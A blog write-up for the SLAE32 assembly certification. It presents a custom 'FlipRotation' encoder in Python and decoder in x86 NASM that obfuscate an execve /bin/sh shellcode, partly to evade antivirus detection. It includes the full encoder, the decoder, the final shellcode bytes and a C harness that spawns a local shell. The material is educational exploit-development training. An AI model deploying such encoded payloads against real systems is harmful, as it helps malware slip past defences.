This post introduces the forth mission of my SLAE32 journey.
A real handful and a challenging assignment. It was hard but worth it. Thus, I named my custom encoder/decoder shellcode as FlipRotation Shellcode
Introduction
The fourth assignment goal was to create my custom encoder and decoder of the execve stack shellcode
. As you may know, the purpose is to execute /bin/sh
.
A shellcode encoder can be used for different purposes, mainly making it harder to detect by AV engines or simply avoiding bad characters (such as null bytes).
FlipRotation Algorithm Overview
The inspiration for this algorithm was the known CBC bit-flipping attack
but applying a simple variation to our context.
More specifically, the steps are
- We pick each shellcode byte and flip the last bit using a
xor
operation -flipped_shellbyte = shellbyte ^ 0x01
- Based on that output the rotation direction is defined. We rotate right if odd or left if even. The number of rotation positions is defined by the loop index value (number of iterations) of the loop at that time.
- If we rotate right, we append
0x2
afther the encoded byte, and if we rotate left we append0xff
- Put the byte
0xa0
as the shellcode end marker
The following diagram can help to understand this process better.
Regarding decoding, it is just simply reverting the steps, and we have our original shellcode back.
From my experience, developing the decoder in assembly was much more straightforward than implementing the encoder logic in Python.
Encoder
The FlipRotation encoder was developed in Python language. The Encoder
class supports various encoding modes, but we will focus only on the insertion
mode.
FlipRotation Encoder
#!/usr/bin/python3
#
# The FlipRotation Shellcode encoder
#
# Rotates back and flips the lowest bit of each byte.
#
import argparse
import secrets
import logging
import sys
secretsGenerator = secrets.SystemRandom()
c_style_shellcode = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") # bin/sh
def banner():
print('''
_______________________________________________________________
<The "FlipRotation" Encoder - Bit flip and rotate your shellcode
---------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\\
||----w |
|| ||
''')
#----------------------------
def bin2hex(binstr):
return hex(int(binstr,2))
class Encoder:
def randomKeyGenerator(self):
byte = '0x'
for i in range(2):
hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
return int(byte,16) # convert key to bytes and return
def __init__(self,enc_type, key=None):
if enc_type != "not":
if key is not None:
self.key = key
print("[*] Key Provided by the user. Doing magic with it")
else:
self.key = self.randomKeyGenerator()
print("[*] Doing magic with a (pseudo) Random key")
print("[*] Key: "+hex(self.key))
# Function to left
# rotate n by d bits
def leftRotate(self,shellbits, d):
tmp = shellbits[d:] + shellbits[0:d]
return tmp
# Function to right
# rotate n by d bits
def rightRotate(self, shellbits, d):
return self.leftRotate(shellbits, len(shellbits) - d)
def insertion_encode(self, shellcode):
encoded = '' # 0x format
encoded2 = '' # \x format
rotation_direction = ''
rotation_counter = 0
for shellbyte in shellcode:
flipped_shellbyte = shellbyte ^ 0x01 # flip lowest bit
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
def main():
shellcode = bytearray(c_style_shellcode)
print("[*] Shellcode length: "+str(len(shellcode))+"\n")
print("[*] Shellcode: "+str(c_style_shellcode)+"\n")
# -------------------KEY--------------
key = 0xa0 # can't be 0x02 or 0xff. used for rotation direction
#####################################
# -------------Encode Type-----------
enc_type = "insertion"
#####################################
if enc_type == "not":
encoder = Encoder(enc_type)
encoder.complement_encoding(shellcode)
elif enc_type == "xor":
encoder = Encoder(enc_type, key)
encoder.xor_encoding_backslashX(shellcode)# utf-8 encoding (\x4b,\xe4,...)
encoder.xor_encoding_0x(shellcode) # hex format (0x4b, 0xe4,...)
elif enc_type == "insertion":
encoder = Encoder(enc_type, key) # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
else:
print("[*] Encode type not supported. Please check the supported algorithms in the help menu")
if __name__ == '__main__':
banner() # displays the program banner
main()
print("\n--------------------")
print("[*] Hack the World!")
print("--------------------")
print()
print()
The Encoder
class can generate a pseudorandom key or use one provided by the user.
def randomKeyGenerator(self):
byte = '0x'
for i in range(2):
hexDigits = [0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,0x0d,0x0e,0x0f]
nibble = secretsGenerator.choice(hexDigits) # it gets in decimal not hex format
#print("nibble----"+hex(nibble)[2:])
byte = byte + hex(nibble)[2:] # hex class is str type. Appending to 0x
#print(byte)
#chr(int(byte,16)) # converts from base 16 to integer (decimal) and then to ascii (chr func)
#print(int(byte,16))
return int(byte,16) # convert key to bytes and return
def __init__(self,enc_type, key=None):
if enc_type != "not":
if key is not None:
self.key = key
print("[*] Key Provided by the user. Doing magic with it")
else:
self.key = self.randomKeyGenerator()
print("[*] Doing magic with a (pseudo) Random key")
print("[*] Key: "+hex(self.key))
Then, we can call the function insertion_encode
and provide the target shellcode as an argument.
encoder = Encoder(enc_type, key) # providing a key with insertion encoding type
encoder.insertion_encode(shellcode) # call insertion code with target shellcode as argument
The insertion_encode
function is defined as follows:
def insertion_encode(self, shellcode):
encoded = '' # 0x format
encoded2 = '' # \x format
rotation_direction = ''
rotation_counter = 0
for shellbyte in shellcode:
flipped_shellbyte = shellbyte ^ 0x01 # flip lowest bit
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
We started by iterating each shellcode byte and flipping the least significant bit - flipped_shellbyte
The rotation_counter
is used as a reference for the number of rotated bits. After that, check that same bit for parity. If it is 1
is odd, but if it is 0
is even. An odd number will rotate right,, and an even number will rotate left. Before proceeding to the rotation, we convert the byte to binary for a more robust rotation.
Also, as each byte has 8 bits in size, the rotation is performed according to a circular shift methodology using the modulus %
operator. Using the remainder, we stick to rotating only to a maximum of 7 bits each time.
After performing the rotation and converting the binary number to hexadecimal, the encoding is completed - final_shellbyte
. We can append it to the variables where the shellcode is being stored encoded
and encoded2
followed by the rotation_direction
(0x02 or 0xfff).
if bin(flipped_shellbyte)[-1] == '0':
logging.info("Flipped byte - odd - "+str(flipped_shellbyte))
rotated_shellbyte = self.rightRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
rotation_direction = '0x02'
else:
logging.info("Flipped byte - even - "+str(flipped_shellbyte))
rotated_shellbyte = self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter% 8 ) # 8 because we are rotating with 8 bits
print("After rotation: "+ bin2hex(self.leftRotate(format(flipped_shellbyte,'08b'),rotation_counter%8)))
rotation_direction = '0xff'
final_shellbyte = bin2hex(rotated_shellbyte)
rotation_counter += 1
encoded += final_shellbyte + ',' + rotation_direction +',' # \x format
encoded2 += '\\x' + final_shellbyte[2:] + '\\x' + rotation_direction[2:] # \x format
We add the end marker for each shellcode format in the last part.
print("\n[*] \\x format: ")
encoded2 += '\\x' + hex(self.key)[2:] # add marker
print(encoded2)
print("\n[*] 0x format: ")
encoded += '0x' + hex(self.key)[2:] + ',' + '0x' + hex(self.key)[2:] #add marker
print(encoded)
Encoder Output
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ python3 flipRotation_Encoder.py
_______________________________________________________________
<The "FlipRotation" Encoder - Bit flip and rotate your shellcode
---------------------------------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
[*] Shellcode length: 25
[*] Shellcode: b'1\xc0Ph//shh/bin\x89\xe3P\x89\xe2S\x89\xe1\xb0\x0b\xcd\x80'
[*] Key Provided by the user. Doing magic with it
[*] Key: 0xa0
After rotation: 0x83
After rotation: 0x45
After rotation: 0x4b
After rotation: 0xb4
After rotation: 0x69
After rotation: 0x8d
After rotation: 0xf6
After rotation: 0xa8
After rotation: 0xc7
After rotation: 0x36
After rotation: 0x81
[*] \x format:
\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\xd\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\xe\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0
[*] 0x format:
0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0
--------------------
[*] Hack the World!
--------------------
We have the encoded shellcode already with rotation direction for each byte and the end marker.
Decoder
I said before that it was more straightforward than the encoder, but it was not easy. I needed to use a piece of paper and a pencil to develop the logic to decode the payload in assembly.
Let’s dig into the assembly.
; Student ID : PA-31319
; Student Name : Eduardo Silva
; Assignment 4 : Custom Encoder/Decoder Shellcode (Linux/x86) Assembly - FlipRotation Encoder
; File Name : flipRotation_decoder.nasm
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
lea edi, [esi+1] ; pointing to second byte (0x02) from shellcode
xor eax, eax ; keep track parity byte
cdq ; zeroes edx.
mov al, 1
xor ecx, ecx
xor ebx, ebx
decode:
mov bl, byte [esi + eax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal, parity is even (0xff)
mov bl, byte [esi + edx]
jnz odd
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
restore_next_byte:
mov byte [esi + edx], bl ; replaces the original byte
mov bl, byte [esi + eax + 1] ; mov next shellbyte
mov byte [edi], bl
inc edi
add al, 2
inc dl
inc cl ; = 0x2b F - 00101011
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; $+2 ; jump if rotation is not complete
xor ecx, ecx ; if rotation is complete reset, cl to start again the "circular array"
jmp short decode
call_decoder:
call decoder
EncodedShellcode: db 0x30,0x02,0x83,0xff,0x45,0xff,0x4b,0xff,0xe2,0x02,0x71,0x02,0xc9,0x02,0xb4,0xff,0x69,0xff,0x17,0x02,0x8d,0xff,0xd,0x02,0xf6,0xff,0x44,0x02,0x8b,0x02,0xa8,0xff,0x88,0x02,0xc7,0xff,0x94,0x02,0x11,0x02,0xe,0x02,0x36,0xff,0x28,0x02,0x99,0x02,0x81,0xff,0xa0,0xa0 ; 0xa0 is the stop marker
Divide and Conquer the FlipRotation Decoder
This decoder uses the jmp-call-pop
technique to push the address of the encoded shellcode on the stack and redirect control flow to the decoder
branch. Then, the address is stored in esi
We use eax
to track each parity byte and edx
to control the offset from the beginning of the shellcode.
decoder:
pop esi
lea edi, [esi+1] ; pointing to second byte (0x02) from shellcode
xor eax, eax ; keep track parity byte
cdq ; zeroes edx.
mov al, 1 ; first parity byte
xor ecx, ecx ; loop index and number of rotation bits
xor ebx, ebx
After this, we have our decoder
branch, which has the logic to decode the encoded shellcode. It starts by moving the parity byte and checking with xor bl, 0xa0
if it matches the end marker. If yes, it the shellcode is decoded and redirects the execution flow to its first instruction.
The result of this xor
operation using the parity byte will be used below with the operation xor bl, 0x5f
to verify if the associated shellcode byte is odd or even.
We know because if we have an even shellcode byte, its parity is 0xff
and results in 0xa0 ^ 0xff = 0x5f
, which si stored in bl
. Then doing xor bl, 0x5f
will set ZF
(zero flag) to 1. We know if the shellcode byte is even or odd based on the zero flag value.
decode:
mov bl, byte [esi + eax] ; mov parity byte to bl
xor bl, 0xa0 ; check if reached the end marker | 0xa0 ^ 0xff = 0x5f
jz short EncodedShellcode ; reached the marker if Zero Flag not set
xor bl, 0x5f ; if equal, parity is even (0xff) and sets ZF
mov bl, byte [esi + edx]
jnz odd
The next couple of instructions are straightforward. We rotate in the opposite way that was performed by the encoder according to the byte parity and bit, flipping the least significant bit.
even: ; rotate right
ror bl, cl
jmp short bitFlip
odd: ; rotate left
rol bl, cl
bitFlip:
xor bl, 0x01
At this stage, the trick is already done. We do replace the encoded shellcode byte for the original one using edx
as an offset. Then, we move to bl
the next encoded byte.
We can’t forget to remove the last used parity byte from the encoded shellcode. In the decode
branch, we set up edi
to point the address of the first parity byte. To remove this byte, we can make the next encoded shellcode byte take its place. In practical terms, we copy the next encoded byte to the address of the last parity byte with the instruction mov byte [edi], bl
Then, we prepare he next iteration by:
- pointing
edi
to the position of the subsequent parity byte al
poiting to the next parity byte offsetdl
poiting to the next encoded byte- incrementing
cl
, which is used as the loop index value
In the last part, we check if we reach the end of the circular array
. As we rotate 8 bits, we can’t turn any more than that. This way, we are synchronized with the encoder implementation.
restore_next_byte:
mov byte [esi + edx], bl ; replaces the original byte
mov bl, byte [esi + eax + 1] ; mov next encoded byte
mov byte [edi], bl ; change last used parity byte for the next encoded byte
inc edi ; edi points to position of the next parity byte
add al, 2 ; offset added to next parity byte
inc dl ; offset to the next encoded byte
inc cl ; loop index value incremented
; Doing circular array as modulo workaround. Use 0x08 as a divisor or circular boundary because we are rotating 8 bits (al register).
cmp cl, 0x08 ; if equal ZF will be set meaning we have a complete rotation
jnz decode ; jump if rotation is not complete
xor ecx, ecx ; if rotation is complete, reset cl to start again the "circular array"
Compiling and Testing the FlipRotation Decoder
Checking assembler.sh
output
╭─edu@debian ~/Desktop/slae_x86/assignments/3-Egg_Hunter ‹main●›
╰─$ ../../assembler.sh egg_hunter.nasm
[*] Compiling with NASM
[*] Linking
[*] Extracting opcodes
[*] Done
Shellcode size: 122
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0"
--------------------
[*] Hack the World!
--------------------
No null bytes appear in the shellcode. We are good to go and paste the shellcode to our shellcode.c program
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\xeb\x3f\x5e\x8d\x7e\x01\x31\xc0\x99\xb0\x01\x31\xc9\x31\xdb\x8a\x1c\x06\x80\xf3\xa0\x74\x2f\x80\xf3\x5f\x8a\x1c\x16\x75\x04\xd2\xcb\xeb\x02\xd2\xc3\x80\xf3\x01\x88\x1c\x16\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xfe\xc2\xfe\xc1\x80\xf9\x08\x75\xd2\x31\xc9\xeb\xce\xe8\xbc\xff\xff\xff\x30\x02\x83\xff\x45\xff\x4b\xff\xe2\x02\x71\x02\xc9\x02\xb4\xff\x69\xff\x17\x02\x8d\xff\x0d\x02\xf6\xff\x44\x02\x8b\x02\xa8\xff\x88\x02\xc7\xff\x94\x02\x11\x02\x0e\x02\x36\xff\x28\x02\x99\x02\x81\xff\xa0\xa0";
main() {
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Compiling with gcc
and executing it
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ gcc -fno-stack-protector -m32 -z execstack -o shellcode shellcode.c
shellcode.c:7:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
main() {
^~~~
╭─edu@debian ~/Desktop/slae_x86/assignments/4-Custom_Encoder_Decoder ‹main●›
╰─$ ./shellcode
Shellcode Length: 122
$ id
uid=1000(edu) gid=1000(edu) groups=1000(edu),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),115(lpadmin),116(scanner)
$ ls
core flipRotation_Encoder.py flipRotation_decoder flipRotation_decoder.nasm flipRotation_decoder.o shellcode shellcode.c
$
We get a shell!!!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-31319
All the source code files are available on GitHub at https://github.com/0xnibbles/slae_x86